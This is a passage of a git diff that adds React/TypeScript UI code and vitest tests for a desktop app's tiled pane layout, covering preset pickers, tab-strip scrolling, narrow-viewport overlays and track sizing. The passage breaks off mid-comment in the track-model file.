+import { Button } from '@/components/ui/button'
+import { Codicon } from '@/components/ui/codicon'
+import { Input } from '@/components/ui/input'
+import { useContributions } from '@/contrib/react/use-contributions'
+import type { Contribution } from '@/contrib/types'
+import { useI18n } from '@/i18n'
+import { cn } from '@/lib/utils'
+
+import type { LayoutNode } from '../model'
+import { isLayoutNode } from '../model'
+import { applyLayoutPreset, deleteUserPreset, isUserPreset, LAYOUTS_AREA, saveCurrentLayoutAs } from '../presets'
+import { $activePresetId } from '../store'
+import { $zoneEditorOpen } from '../zone-editor'
+
+/** Miniature render of a layout tree — the preset card thumbnail. */
+function TreeThumbnail({ node }: { node: LayoutNode }) {
+  if (node.type === 'group') {
+    return (
+      // currentColor-derived fill: light zones on dark themes, dark zones on
+      // light — legible everywhere without leaning on the accent.
+      <div
+        className="min-h-0 min-w-0 flex-1 rounded-[2px]"
+        style={{ background: 'color-mix(in srgb, currentColor 16%, transparent)' }}
+      />
+    )
+  }
+
+  return (
+    <div className={cn('flex min-h-0 min-w-0 flex-1 gap-px', node.orientation === 'row' ? 'flex-row' : 'flex-col')}>
+      {node.children.map((child, i) => (
+        <div
+          className="flex min-h-0 min-w-0"
+          key={child.id}
+          style={{ flex: `${node.weights[i]} ${node.weights[i]} 0px` }}
+        >
+          <TreeThumbnail node={child} />
+        </div>
+      ))}
+    </div>
+  )
+}
+
+/** Small-caps section heading — the app's SidebarPanelLabel voice. */
+function PickerSectionLabel({ children }: { children: ReactNode }) {
+  return (
+    <span className="text-[0.6rem] font-semibold uppercase tracking-[0.16em] text-(--ui-text-quaternary)">
+      {children}
+    </span>
+  )
+}
+
+function PresetCard({ preset }: { preset: Contribution }) {
+  const { t } = useI18n()
+  const activeId = useStore($activePresetId)
+  const tree = isLayoutNode(preset.data) ? preset.data : null
+
+  if (!tree) {
+    return null
+  }
+
+  const active = preset.id === activeId
+
+  return (
+    <div className="group/preset relative">
+      <button
+        className={cn(
+          'flex w-full flex-col gap-1.5 rounded-lg border p-1.5 text-left transition-colors',
+          active
+            ? 'border-(--ui-accent) bg-(--ui-row-active-background)'
+            : 'border-(--ui-stroke-secondary) hover:border-(--ui-stroke-primary) hover:bg-(--ui-row-hover-background)'
+        )}
+        onClick={() => applyLayoutPreset(preset.id, tree)}
+        type="button"
+      >
+        <div className="flex h-12 w-full">
+          <TreeThumbnail node={tree} />
+        </div>
+        <span
+          className={cn('truncate text-[0.68rem] font-medium', active ? 'text-foreground' : 'text-muted-foreground/80')}
+        >
+          {preset.title ?? preset.id}
+        </span>
+      </button>
+      {isUserPreset(preset.id) && (
+        <button
+          aria-label={t.zones.deletePreset(preset.title ?? preset.id)}
+          // Hover-reveal (opacity, not display) — stays laid out + clickable,
+          // appears on card hover or keyboard focus.
+          className="absolute right-1 top-1 z-10 grid size-5 place-items-center rounded-md bg-(--ui-bg-elevated) text-(--ui-text-tertiary) opacity-0 transition-opacity hover:bg-(--ui-control-hover-background) hover:text-foreground focus-visible:opacity-100 group-hover/preset:opacity-100"
+          onClick={() => deleteUserPreset(preset.id)}
+          onPointerDown={e => e.stopPropagation()}
+          type="button"
+        >
+          <Codicon name="close" size="0.7rem" />
+        </button>
+      )}
+    </div>
+  )
+}
+
+export function LayoutPicker() {
+  const { t } = useI18n()
+  const presets = useContributions(LAYOUTS_AREA)
+  const [name, setName] = useState('')
+  const [saving, setSaving] = useState(false)
+
+  const templates = presets.filter(p => !isUserPreset(p.id) && isLayoutNode(p.data))
+  const custom = presets.filter(p => isUserPreset(p.id) && isLayoutNode(p.data))
+
+  const commitSave = () => {
+    if (!name.trim()) {
+      return
+    }
+
+    saveCurrentLayoutAs(name)
+    setName('')
+    setSaving(false)
+  }
+
+  return (
+    <div className="flex flex-col gap-4">
+      <section className="flex flex-col gap-2">
+        <PickerSectionLabel>{t.zones.templates}</PickerSectionLabel>
+        <div className="grid grid-cols-4 gap-2">
+          {templates.map(preset => (
+            <PresetCard key={`${preset.source ?? 'core'}:${preset.id}`} preset={preset} />
+          ))}
+        </div>
+      </section>
+
+      <section className="flex flex-col gap-2">
+        <PickerSectionLabel>{t.zones.custom}</PickerSectionLabel>
+        {custom.length > 0 && (
+          <div className="grid grid-cols-4 gap-2">
+            {custom.map(preset => (
+              <PresetCard key={`${preset.source ?? 'core'}:${preset.id}`} preset={preset} />
+            ))}
+          </div>
+        )}
+        <Button
+          className="h-8 w-full justify-center gap-1.5 border border-dashed border-(--ui-stroke-secondary) text-muted-foreground hover:border-(--ui-stroke-primary) hover:text-foreground"
+          onClick={() => $zoneEditorOpen.set(true)}
+          size="sm"
+          variant="ghost"
+        >
+          <Codicon name="add" size="0.875rem" />
+          {t.zones.newGridLayout}
+        </Button>
+      </section>
+
+      {/* Save-current lives behind a reveal so the raw input doesn't clash
+          with the card grid until it's actually needed. */}
+      {saving ? (
+        <form
+          className="flex items-center gap-1.5"
+          onSubmit={e => {
+            e.preventDefault()
+            commitSave()
+          }}
+        >
+          <Input
+            autoFocus
+            className="h-7 flex-1 text-xs"
+            onChange={e => setName(e.target.value)}
+            onKeyDown={e => {
+              if (e.key === 'Escape') {
+                setSaving(false)
+                setName('')
+              }
+            }}
+            placeholder={t.zones.nameLayoutPlaceholder}
+            value={name}
+          />
+          <Button disabled={!name.trim()} size="sm" type="submit" variant="outline">
+            {t.common.save}
+          </Button>
+          <Button onClick={() => setSaving(false)} size="sm" variant="ghost">
+            {t.common.cancel}
+          </Button>
+        </form>
+      ) : (
+        <button
+          className="flex items-center gap-1.5 self-start text-xs text-muted-foreground/80 transition-colors hover:text-foreground"
+          onClick={() => setSaving(true)}
+          type="button"
+        >
+          <Codicon name="save" size="0.8125rem" />
+          {t.zones.saveCurrentAs}
+        </button>
+      )}
+    </div>
+  )
+}
diff --git a/ui-desktop/src/components/pane-shell/tree/renderer/lone-header.test.ts b/ui-desktop/src/components/pane-shell/tree/renderer/lone-header.test.ts
new file mode 100644
index 000000000..a16ad0e67
--- /dev/null
+++ b/ui-desktop/src/components/pane-shell/tree/renderer/lone-header.test.ts
@@ -0,0 +1,37 @@
+import { describe, expect, it } from 'vitest'
+
+import { forceLoneHeaderForPanes } from './lone-header'
+
+describe('forceLoneHeaderForPanes', () => {
+  const chrome =
+    (placement?: string, uncloseable = false) =>
+    () => ({ placement, uncloseable })
+
+  const noCollapse = () => false
+
+  // Every mirrored tile (session / page / preview) is a closeable `main` pane, so
+  // dragging one into a zone of its own must keep its tab — it used to strand a
+  // preview headerless, with nothing to grab and no ✕.
+  it('forces a header for closeable placement:main panes', () => {
+    expect(forceLoneHeaderForPanes(['preview-tile:url:x'], chrome('main'), noCollapse)).toBe(true)
+    expect(forceLoneHeaderForPanes(['session-tile:abc'], chrome('main'), noCollapse)).toBe(true)
+  })
+
+  it('forces a header for a lone collapse tool pane', () => {
+    expect(
+      forceLoneHeaderForPanes(
+        ['terminal'],
+        () => ({}),
+        id => id === 'terminal'
+      )
+    ).toBe(true)
+  })
+
+  it('leaves a lone uncloseable workspace headerless', () => {
+    expect(forceLoneHeaderForPanes(['workspace'], chrome('main', true), noCollapse)).toBe(false)
+  })
+
+  it('leaves standing side chrome (files / sessions) headerless', () => {
+    expect(forceLoneHeaderForPanes(['files'], chrome('right'), noCollapse)).toBe(false)
+  })
+})
diff --git a/ui-desktop/src/components/pane-shell/tree/renderer/lone-header.ts b/ui-desktop/src/components/pane-shell/tree/renderer/lone-header.ts
new file mode 100644
index 000000000..4fe0d9775
--- /dev/null
+++ b/ui-desktop/src/components/pane-shell/tree/renderer/lone-header.ts
@@ -0,0 +1,35 @@
+/**
+ * When a lone pane must keep its tab strip (name card + close).
+ *
+ * Default: a single pane isn't a "tab", so the header auto-hides. Exceptions
+ * force it on so a closeable surface never becomes an unclosable dead zone:
+ *  - a closeable `placement: 'main'` pane — every mirrored TILE (a session, a
+ *    page, a preview) is one, so dragging a tile into a zone of its own keeps
+ *    its tab and its ✕
+ *  - a collapse tool panel dragged into its own zone
+ */
+
+export interface LoneHeaderChrome {
+  placement?: string
+  uncloseable?: boolean
+}
+
+export function forceLoneHeaderForPanes(
+  shown: readonly string[],
+  chromeOf: (id: string) => LoneHeaderChrome,
+  isCollapsePane: (id: string) => boolean
+): boolean {
+  // "This pane can be closed, so it must expose the ✕." Only the uncloseable
+  // workspace is exempt; standing side chrome (files / sessions) isn't 'main'.
+  if (
+    shown.some(id => {
+      const chrome = chromeOf(id)
+
+      return !chrome.uncloseable && chrome.placement === 'main'
+    })
+  ) {
+    return true
+  }
+
+  return shown.length === 1 && isCollapsePane(shown[0])
+}
diff --git a/ui-desktop/src/components/pane-shell/tree/renderer/narrow-overlays.tsx b/ui-desktop/src/components/pane-shell/tree/renderer/narrow-overlays.tsx
new file mode 100644
index 000000000..3d75388d7
--- /dev/null
+++ b/ui-desktop/src/components/pane-shell/tree/renderer/narrow-overlays.tsx
@@ -0,0 +1,146 @@
+/**
+ * Narrow-viewport edge overlays — the tree's take on the app's hover-reveal
+ * collapse. Collapsible panes leave the grid below the sidebar-collapse
+ * breakpoint; an edge strip (hover) or PANE_TOGGLE_REVEAL_EVENT (⌘B / ⌘G /
+ * titlebar toggles route here on narrow) slides the pane OVER the layout
+ * instead of squeezing it. Event reveals pin; hover reveals follow the mouse.
+ */
+
+import { useStore } from '@nanostores/react'
+import { useEffect, useMemo, useRef, useState } from 'react'
+
+import { ContribBoundary } from '@/contrib/react/boundary'
+import { useContributions } from '@/contrib/react/use-contributions'
+import type { Contribution } from '@/contrib/types'
+import { ESCAPE_PRIORITY, isTopEscapeLayer, pushEscapeLayer } from '@/lib/escape-layers'
+import { cn } from '@/lib/utils'
+
+import { PANE_TOGGLE_REVEAL_EVENT } from '../..'
+import { allPaneIds } from '../model'
+import { $hiddenTreePanes, $layoutTree, $narrowViewport } from '../store'
+
+import { paneChrome } from './track-model'
+
+export function NarrowOverlays() {
+  const narrow = useStore($narrowViewport)
+  const tree = useStore($layoutTree)
+  const panes = useContributions('panes')
+  const hiddenPanes = useStore($hiddenTreePanes)
+  const [reveal, setReveal] = useState<{ id: string; pinned: boolean } | null>(null)
+
+  // Own an Escape layer only while something is revealed, so Escape closes the
+  // overlay only when it's the top layer (never under a dialog / edit mode).
+  const revealActive = reveal !== null
+  useEffect(() => (revealActive ? pushEscapeLayer(ESCAPE_PRIORITY.narrowOverlay) : undefined), [revealActive])
+
+  const inTree = useMemo(() => new Set(tree ? allPaneIds(tree) : []), [tree])
+
+  const collapsibles = useMemo(
+    () => panes.filter(p => paneChrome(p).collapsible && inTree.has(p.id) && !hiddenPanes.has(p.id)),
+    [panes, inTree, hiddenPanes]
+  )
+
+  const collapsiblesRef = useRef(collapsibles)
+  collapsiblesRef.current = collapsibles
+
+  // ⌘B / ⌘G's narrow branch dispatches the app's toggle-reveal event with the
+  // REAL pane id — accept those via each contribution's revealAliases.
+  useEffect(() => {
+    if (!narrow) {
+      setReveal(null)
+
+      return
+    }
+
+    const onToggle = (event: Event) => {
+      const detail = (event as CustomEvent<{ id?: string; mode?: 'close' | 'open' | 'toggle' }>).detail
+      const id = detail?.id
+
+      if (!id) {
+        return
+      }
+
+      const match = collapsiblesRef.current.find(p => p.id === id || paneChrome(p).revealAliases?.includes(id))
+
+      if (!match) {
+        return
+      }
+
+      // `open`/`close` are explicit intents (programmatic reveal, titlebar show);
+      // `toggle` (default) is the ⌘B/⌘G flip.
+      const mode = detail?.mode ?? 'toggle'
+      setReveal(current => {
+        if (mode === 'open') {
+          return { id: match.id, pinned: true }
+        }
+
+        if (mode === 'close') {
+          return current?.id === match.id ? null : current
+        }
+
+        return current?.id === match.id && current.pinned ? null : { id: match.id, pinned: true }
+      })
+    }
+
+    const onKeyDown = (event: KeyboardEvent) => {
+      if (event.key !== 'Escape' || event.defaultPrevented || !isTopEscapeLayer(ESCAPE_PRIORITY.narrowOverlay)) {
+        return
+      }
+
+      event.preventDefault()
+      setReveal(null)
+    }
+
+    window.addEventListener(PANE_TOGGLE_REVEAL_EVENT, onToggle)
+    window.addEventListener('keydown', onKeyDown)
+
+    return () => {
+      window.removeEventListener(PANE_TOGGLE_REVEAL_EVENT, onToggle)
+      window.removeEventListener('keydown', onKeyDown)
+    }
+  }, [narrow])
+
+  if (!narrow || collapsibles.length === 0) {
+    return null
+  }
+
+  const sideOf = (c: Contribution) => (paneChrome(c).placement === 'left' ? 'left' : 'right')
+  const revealed = reveal ? collapsibles.find(p => p.id === reveal.id) : undefined
+  const sides = [...new Set(collapsibles.map(sideOf))]
+
+  return (
+    <>
+      {/* Hover-intent strips on each edge that has a collapsed pane. */}
+      {sides.map(side => (
+        <div
+          className={cn('absolute inset-y-0 z-30 w-1.5', side === 'left' ? 'left-0' : 'right-0')}
+          key={side}
+          onMouseEnter={() => {
+            const first = collapsibles.find(p => sideOf(p) === side)
+
+            if (first) {
+              setReveal(current => (current?.pinned ? current : { id: first.id, pinned: false }))
+            }
+          }}
+        />
+      ))}
+
+      {revealed && (
+        <div
+          className={cn(
+            'absolute inset-y-0 z-40 flex flex-col overflow-hidden bg-(--ui-sidebar-surface-background) shadow-2xl',
+            sideOf(revealed) === 'left'
+              ? 'left-0 border-r border-(--ui-stroke-secondary)'
+              : 'right-0 border-l border-(--ui-stroke-secondary)'
+          )}
+          onMouseLeave={() => setReveal(current => (current?.pinned ? current : null))}
+          // Match the pane's docked width (sessions ~237px, files its rail
+          // width) instead of a fat fixed 20rem — capped for tiny screens.
+          style={{ width: `min(${(revealed.data as { width?: string } | undefined)?.width ?? '18rem'}, 85vw)` }}
+        >
+          <ContribBoundary id={revealed.id}>{revealed.render?.()}</ContribBoundary>
+        </div>
+      )}
+    </>
+  )
+}
diff --git a/ui-desktop/src/components/pane-shell/tree/renderer/tab-strip-scroll.test.ts b/ui-desktop/src/components/pane-shell/tree/renderer/tab-strip-scroll.test.ts
new file mode 100644
index 000000000..a05c801fb
--- /dev/null
+++ b/ui-desktop/src/components/pane-shell/tree/renderer/tab-strip-scroll.test.ts
@@ -0,0 +1,38 @@
+import { describe, expect, it } from 'vitest'
+
+import { tabStripScrollLeft } from './tab-strip-scroll'
+
+describe('tabStripScrollLeft', () => {
+  // 300px window over 900px of tabs + "+" → 600px of scroll range.
+  const strip = (over: Partial<Parameters<typeof tabStripScrollLeft>[0]> = {}) =>
+    tabStripScrollLeft({
+      clientWidth: 300,
+      last: false,
+      scrollLeft: 0,
+      scrollWidth: 900,
+      tabEnd: 0,
+      tabStart: 0,
+      ...over
+    })
+
+  it('scrolls to the end for the last tab so the "+" comes with it', () => {
+    expect(strip({ last: true, scrollLeft: 0, tabEnd: 880, tabStart: 780 })).toBe(600)
+  })
+
+  it('leaves the offset alone when the tab is already fully visible', () => {
+    expect(strip({ scrollLeft: 200, tabEnd: 400, tabStart: 300 })).toBe(200)
+  })
+
+  it('scrolls left to the tab start when it sits before the window', () => {
+    expect(strip({ scrollLeft: 400, tabEnd: 200, tabStart: 100 })).toBe(100)
+  })
+
+  it('scrolls right just far enough to reveal a tab past the window', () => {
+    expect(strip({ scrollLeft: 0, tabEnd: 450, tabStart: 350 })).toBe(150)
+  })
+
+  it('never exceeds the scrollable range', () => {
+    expect(strip({ last: true, scrollWidth: 250 })).toBe(0)
+    expect(strip({ scrollLeft: 0, tabEnd: 1200, tabStart: 1100 })).toBe(600)
+  })
+})
diff --git a/ui-desktop/src/components/pane-shell/tree/renderer/tab-strip-scroll.ts b/ui-desktop/src/components/pane-shell/tree/renderer/tab-strip-scroll.ts
new file mode 100644
index 000000000..236896fb7
--- /dev/null
+++ b/ui-desktop/src/components/pane-shell/tree/renderer/tab-strip-scroll.ts
@@ -0,0 +1,97 @@
+/**
+ * Keeping the active tab (and the trailing "+") inside a scrolling tab strip.
+ *
+ * Once a zone has more tabs than fit, opening a new one appended it past the
+ * right edge: the tab you just created — and the "+" that created it — were
+ * both off-screen, so a second new tab meant scrolling back by hand first.
+ * Activating a tab from a keybind or the session list had the same problem in
+ * the other direction.
+ */
+
+import { type RefObject, useLayoutEffect } from 'react'
+
+export interface TabStripGeometry {
+  /** Visible width of the strip. */
+  clientWidth: number
+  /** Active tab is the LAST one, so reveal the trailing "+" along with it. */
+  last: boolean
+  scrollLeft: number
+  /** Full scroll content: every tab plus the trailing "+". */
+  scrollWidth: number
+  /** Active tab's edges, measured from the start of the scroll content. */
+  tabEnd: number
+  tabStart: number
+}
+
+/** Where the strip should be scrolled to for the active tab to be in view —
+ *  the current offset when it already is (the caller skips the write). */
+export function tabStripScrollLeft({
+  clientWidth,
+  last,
+  scrollLeft,
+  scrollWidth,
+  tabEnd,
+  tabStart
+}: TabStripGeometry): number {
+  const max = Math.max(0, scrollWidth - clientWidth)
+
+  // The last tab scrolls to the very end rather than to its own edge: the "+"
+  // lives after it in the same scroll content and has to come along.
+  if (last) {
+    return max
+  }
+
+  if (tabStart < scrollLeft) {
+    return Math.min(tabStart, max)
+  }
+
+  if (tabEnd > scrollLeft + clientWidth) {
+    return Math.min(tabEnd - clientWidth, max)
+  }
+
+  return Math.min(scrollLeft, max)
+}
+
+/** Scroll `activeId`'s tab into view whenever the activation or the tab set
+ *  changes. `last` drives the "+"-follows-the-final-tab case. */
+export function useActiveTabVisible(
+  scrollerRef: RefObject<HTMLDivElement | null>,
+  activeId: string,
+  { enabled, last, tabCount }: { enabled: boolean; last: boolean; tabCount: number }
+): void {
+  // Layout effect: the scroll write lands in the same frame as the tab's
+  // insertion, so a new tab never paints off-screen first.
+  useLayoutEffect(() => {
+    const scroller = scrollerRef.current
+
+    if (!enabled || !scroller) {
+      return
+    }
+
+    const tab = scroller.querySelector<HTMLElement>(`[data-tree-tab="${CSS.escape(activeId)}"]`)
+
+    if (!tab) {
+      return
+    }
+
+    // Rects, not offsetLeft: the tab's offsetParent is the header strip (the
+    // scroller itself isn't positioned), so offsets would be measured against
+    // the wrong origin.
+    const view = scroller.getBoundingClientRect()
+    const rect = tab.getBoundingClientRect()
+    const tabStart = rect.left - view.left + scroller.scrollLeft
+
+    const next = tabStripScrollLeft({
+      clientWidth: scroller.clientWidth,
+      last,
+      scrollLeft: scroller.scrollLeft,
+      scrollWidth: scroller.scrollWidth,
+      tabEnd: tabStart + rect.width,
+      tabStart
+    })
+
+    if (next !== scroller.scrollLeft) {
+      scroller.scrollLeft = next
+    }
+  }, [activeId, enabled, last, scrollerRef, tabCount])
+}
diff --git a/ui-desktop/src/components/pane-shell/tree/renderer/tool-panel-close.test.tsx b/ui-desktop/src/components/pane-shell/tree/renderer/tool-panel-close.test.tsx
new file mode 100644
index 000000000..db5c2a70a
--- /dev/null
+++ b/ui-desktop/src/components/pane-shell/tree/renderer/tool-panel-close.test.tsx
@@ -0,0 +1,185 @@
+import { cleanup, fireEvent, render, screen } from '@testing-library/react'
+import { afterEach, beforeAll, beforeEach, describe, expect, it, vi } from 'vitest'
+
+import { registry } from '@/contrib/registry'
+
+import { group, split } from '../model'
+import {
+  $layoutTree,
+  declareDefaultTree,
+  markCollapsePane,
+  noteActiveTreeGroup,
+  registerPaneCloser,
+  setTreeGroupMinimized
+} from '../store'
+
+import { TreeGroup } from './tree-group'
+
+// Ground truth for "right-clicking logs doesn't even show Close, and ⌘W
+// doesn't close it". Renders the REAL zone renderer and opens the REAL
+// context menu.
+
+class TestResizeObserver {
+  observe() {}
+  unobserve() {}
+  disconnect() {}
+}
+
+beforeAll(() => {
+  vi.stubGlobal('ResizeObserver', TestResizeObserver)
+  // jsdom lacks CSS.escape, which tab-strip-scroll uses in a layout effect.
+  vi.stubGlobal('CSS', { ...globalThis.CSS, escape: (value: string) => value })
+  Element.prototype.hasPointerCapture ??= () => false
+  Element.prototype.setPointerCapture ??= () => undefined
+  Element.prototype.releasePointerCapture ??= () => undefined
+  HTMLElement.prototype.scrollIntoView ??= () => undefined
+})
+
+const disposers: (() => void)[] = []
+
+beforeEach(async () => {
+  window.localStorage.clear()
+
+  // Per-test isolation: earlier cases dismiss / hide panes, and both records
+  // live in module state that survives into the next test.
+  const { $dismissedPanes, $hiddenTreePanes } = await import('../store')
+  $dismissedPanes.set(new Set())
+  $hiddenTreePanes.set(new Set())
+
+  for (const [id, data] of [
+    ['workspace', { placement: 'main', uncloseable: true }],
+    ['terminal', { placement: 'bottom' }],
+    ['logs', { placement: 'bottom' }]
+  ] as const) {
+    disposers.push(registry.register({ area: 'panes', data, id, render: () => null, title: id }))
+  }
+
+  markCollapsePane('terminal')
+  markCollapsePane('logs')
+  registerPaneCloser('terminal', () => undefined)
+  registerPaneCloser('logs', () => undefined)
+})
+
+afterEach(() => {
+  cleanup()
+  disposers.splice(0).forEach(dispose => dispose())
+})
+
+/** Radix opens a ContextMenu on contextmenu after a pointerdown positions it. */
+function openContextMenu(target: HTMLElement) {
+  fireEvent.pointerDown(target, { button: 2, pointerType: 'mouse' })
+  fireEvent.contextMenu(target, { button: 2 })
+}
+
+const zoneAt = (index: number) => {
+  const node = $layoutTree.get()!
+
+  return (node.type === 'split' ? node.children[index] : node) as never
+}
+
+const tabEl = (paneId: string) => document.querySelector<HTMLElement>(`[data-tree-tab="${paneId}"]`)
+
+describe('right-clicking a tool panel tab', () => {
+  it('offers Close when logs is STACKED with the terminal', async () => {
+    declareDefaultTree(
+      split('column', [
+        group(['workspace'], { active: 'workspace', id: 'grp-main' }),
+        group(['terminal', 'logs'], { active: 'logs', id: 'grp-tools' })
+      ])
+    )
+    render(<TreeGroup node={zoneAt(1)} parentAxis="column" />)
+
+    openContextMenu(tabEl('logs')!)
+
+    expect(await screen.findByRole('menuitem', { name: /^close$/i })).toBeTruthy()
+  })
+
+  it('offers Close when logs is ALONE in its zone', async () => {
+    declareDefaultTree(
+      split('column', [
+        group(['workspace'], { active: 'workspace', id: 'grp-main' }),
+        group(['logs'], { active: 'logs', id: 'grp-logs' })
+      ])
+    )
+    render(<TreeGroup node={zoneAt(1)} parentAxis="column" />)
+
+    const tab = tabEl('logs')
+    expect(tab).toBeTruthy()
+
+    openContextMenu(tab!)
+
+    expect(await screen.findByRole('menuitem', { name: /^close$/i })).toBeTruthy()
+  })
+
+  it('offers Close while the zone is MINIMIZED to its rail', async () => {
+    declareDefaultTree(
+      split('column', [
+        group(['workspace'], { active: 'workspace', id: 'grp-main' }),
+        group(['terminal', 'logs'], { active: 'logs', id: 'grp-tools' })
+      ])
+    )
+    setTreeGroupMinimized('grp-tools', true)
+    render(<TreeGroup node={zoneAt(1)} parentAxis="column" />)
+
+    openContextMenu(tabEl('logs')!)
+
+    expect(await screen.findByRole('menuitem', { name: /^close$/i })).toBeTruthy()
+  })
+})
+
+describe('⌘W over a focused tool panel', () => {
+  it('closes the logs tab and the toggle brings it back', async () => {
+    const { closeActiveTab } = await import('@/app/chat/close-tab')
+    const { allPaneIds } = await import('../model')
+    const { revealTreePane, setPaneCollapsed } = await import('../store')
+
+    declareDefaultTree(
+      split('column', [
+        group(['workspace'], { active: 'workspace', id: 'grp-main' }),
+        group(['terminal', 'logs'], { active: 'logs', id: 'grp-tools' })
+      ])
+    )
+
+    // Production wiring (bindPaneCollapse): a store drives visibility, its
+    // closer collapses, its opener reveals.
+    let open = true
+    registerPaneCloser('logs', () => {
+      open = false
+      setPaneCollapsed('logs', true)
+    })
+
+    // The user clicked into the tools zone — ⌘W must act on ITS active tab.
+    noteActiveTreeGroup('grp-tools')
+
+    closeActiveTab()
+
+    // The tab left the strip, and the toggle knows the pane is off.
+    expect(allPaneIds($layoutTree.get()!)).not.toContain('logs')
+    expect(open).toBe(false)
+
+    // Toggling it back on re-adopts the pane (revealTreePane un-dismisses).
+    open = true
+    revealTreePane('logs')
+
+    expect(allPaneIds($layoutTree.get()!)).toContain('logs')
+  })
+
+  it('leaves the uncloseable workspace zone to the chat rung', async () => {
+    const { allPaneIds } = await import('../model')
+    const { closeFocusedToolTab } = await import('../store')
+
+    declareDefaultTree(
+      split('column', [
+        group(['workspace'], { active: 'workspace', id: 'grp-main' }),
+        group(['logs'], { active: 'logs', id: 'grp-logs' })
+      ])
+    )
+
+    noteActiveTreeGroup('grp-main')
+
+    // Pointer/focus on main: the tool rung must decline, not reach across and
+    // close the logs pane the user isn't looking at.
+    expect(closeFocusedToolTab()).toBe(false)
+    expect(allPaneIds($layoutTree.get()!)).toContain('logs')
+  })
+})
diff --git a/ui-desktop/src/components/pane-shell/tree/renderer/track-model-absorber.test.ts b/ui-desktop/src/components/pane-shell/tree/renderer/track-model-absorber.test.ts
new file mode 100644
index 000000000..a54f04b26
--- /dev/null
+++ b/ui-desktop/src/components/pane-shell/tree/renderer/track-model-absorber.test.ts
@@ -0,0 +1,43 @@
+import { describe, expect, it } from 'vitest'
+
+import { allFixedAbsorberIndex } from './track-model'
+
+describe('allFixedAbsorberIndex', () => {
+  it('picks the last uncapped track', () => {
+    // terminal (uncapped height) + logs (uncapped) → logs absorbs
+    const growable = [0, 1]
+    const max = (i: number) => (i === 0 ? '80vh' : undefined)
+
+    expect(allFixedAbsorberIndex(growable, max)).toBe(1)
+  })
+
+  it('skips a capped last track and picks an earlier uncapped one', () => {
+    // uncapped tool panel + capped files rail at the end of a column
+    const growable = [0, 1]
+    const max = (i: number) => (i === 1 ? '20rem' : undefined)
+
+    expect(allFixedAbsorberIndex(growable, max)).toBe(0)
+  })
+
+  it('refuses to absorb when every fixed track is capped (review/files rail)', () => {
+    // Default right rail: review | preview | files — all declare maxWidth.
+    // Promoting any of them to grow-1 dropped the clamp and ballooned ⌘G/⌘J.
+    const growable = [0, 1, 2]
+    const max = () => '20rem'
+
+    expect(allFixedAbsorberIndex(growable, max)).toBe(-1)
+  })
+
+  it('returns -1 for an empty run', () => {
+    expect(allFixedAbsorberIndex([], () => undefined)).toBe(-1)
+  })
+
+  it('absorbs a lone uncapped track', () => {
+    expect(allFixedAbsorberIndex([3], () => undefined)).toBe(3)
+  })
+
+  it('refuses a lone capped sidebar', () => {
+    // ⌘G alone: only review is visible in the rail — must stay at 237px / max 20rem.
+    expect(allFixedAbsorberIndex([0], () => '20rem')).toBe(-1)
+  })
+})
diff --git a/ui-desktop/src/components/pane-shell/tree/renderer/track-model.ts b/ui-desktop/src/components/pane-shell/tree/renderer/track-model.ts
new file mode 100644
index 000000000..46b49ec51
--- /dev/null
+++ b/ui-desktop/src/components/pane-shell/tree/renderer/track-model.ts
@@ -0,0 +1,327 @@
+/**
+ * The TRACK MODEL — how a layout node resolves its size along a split axis.
+ *
+ * A node is a FIXED track when it resolves to a CSS length (sidebars keep
+ * their declared size) and a FLEX track when it doesn't (weight-shared
+ * leftover). Everything here is pure geometry over the layout tree + the
+ * live pane contributions; the React split renderer reads it per render.
+ */
+
+import type * as React from 'react'
+
+import type { PaneStripTool } from '@/components/ui/pane-tab'
+import type { Contribution } from '@/contrib/types'
+
+import type { GroupNode, LayoutNode } from '../model'
+import { allPaneIds } from '../model'
+
+import type { DoubleTapContext } from './drag-session'
+import type { FloatingAnchor } from './floating-rect'
+
+export const MIN_PANE_PX = 80
+
+/**
+ * The floor for a TOOL PANEL zone (terminal / logs) instead of `MIN_PANE_PX`.
+ * A tool panel is meant to be draggable down to nothing — the minimized rail
+ * (its header strip, `h-7`) is the smallest meaningful form, so the sash lets
+ * it shrink to exactly that and then collapses the zone rather than jamming
+ * against an 80px floor with a sliver of unusable content still showing.
+ */
+export const COLLAPSED_ZONE_PX = 28
+
+/** Optional CSS sizing a pane contributes (`data.width` / `data.minWidth`…).
+ *  Applied to the pane's GROUP along the axis of the split that contains it —
+ *  the same semantics as the app's `Pane width/minWidth/maxWidth` props:
+ *  a `width`/`height` makes the zone a FIXED track (sidebar-style — it keeps
+ *  its size and the weighted zones absorb the rest); without one the zone
+ *  shares leftover space by weight. */
+export interface PaneSizing {
+  width?: string
+  height?: string
+  minWidth?: string
+  maxWidth?: string
+  minHeight?: string
+  maxHeight?: string
+}
+
+/** Chrome behavior flags a pane contributes. Read via `paneChrome`. */
+interface PaneChrome extends PaneSizing {
+  /** Leaves the grid on narrow viewports; revealed as an edge overlay. */
+  collapsible?: boolean
+  /** Extra ids accepted from PANE_TOGGLE_REVEAL_EVENT (the real app's pane
+   *  ids, e.g. `chat-sidebar` for `sessions`). */
+  revealAliases?: string[]
+  /** Tiling role in the tree, or `'floating'` — the one NON-tiling placement:
+   *  the pane is excluded from the tree entirely and rendered as a fixed card
+   *  above it (see renderer/floating-panes.tsx). A floating pane takes no
+   *  space from any zone, has no tab, and can't be docked or split. */
+  placement?: string
+  /** Spawn corner for `placement: 'floating'` (default `'top-right'`). The
+   *  pane also TRACKS that corner's edges when the window resizes. */
+  anchor?: FloatingAnchor
+  /** No Close in the tab menu — the one surface the app can't lose (the
+   *  main workspace). Session tiles share `placement: 'main'` but close. */
+  uncloseable?: boolean
+  /** Wrap this pane's TAB (e.g. in a domain context menu — a session tile's
+   *  pin/branch/rename/archive/delete). The wrapper must render `tab` as its
+   *  interactive child; the zone's own strip menu still owns non-tab space. */
+  tabWrap?: (tab: React.ReactElement) => React.ReactNode
+  /** Override this pane's TAB drag (a session tab drags like a sidebar row —
+   *  stack / split / composer-link — not the generic pane move). Given the
+   *  tab's tap (activate) + double-tap (hide header) so those gestures survive.
+   *  Returns whether it took the drag; `false` (or absent) defers to
+   *  `startPaneDrag` — e.g. the workspace tab on a fresh draft, nothing to link. */
+  tabDrag?: (event: React.PointerEvent<HTMLElement>, onTap: () => void, double?: DoubleTapContext) => boolean
+  /** Suppress the zone header while THIS pane is active — full-page views
+   *  (artifacts/skills/plugin pages) are not tab-able surfaces. The flag is
+   *  live: the workspace contribution re-registers it on route changes. */
+  headerVeto?: boolean
+  /** A lead NODE for this pane's TAB, rendered before the label. A session
+   *  pane (main workspace + tiles) passes its live `SessionStatusDot` here so
+   *  the tab and the sidebar row render status/color from the ONE primitive
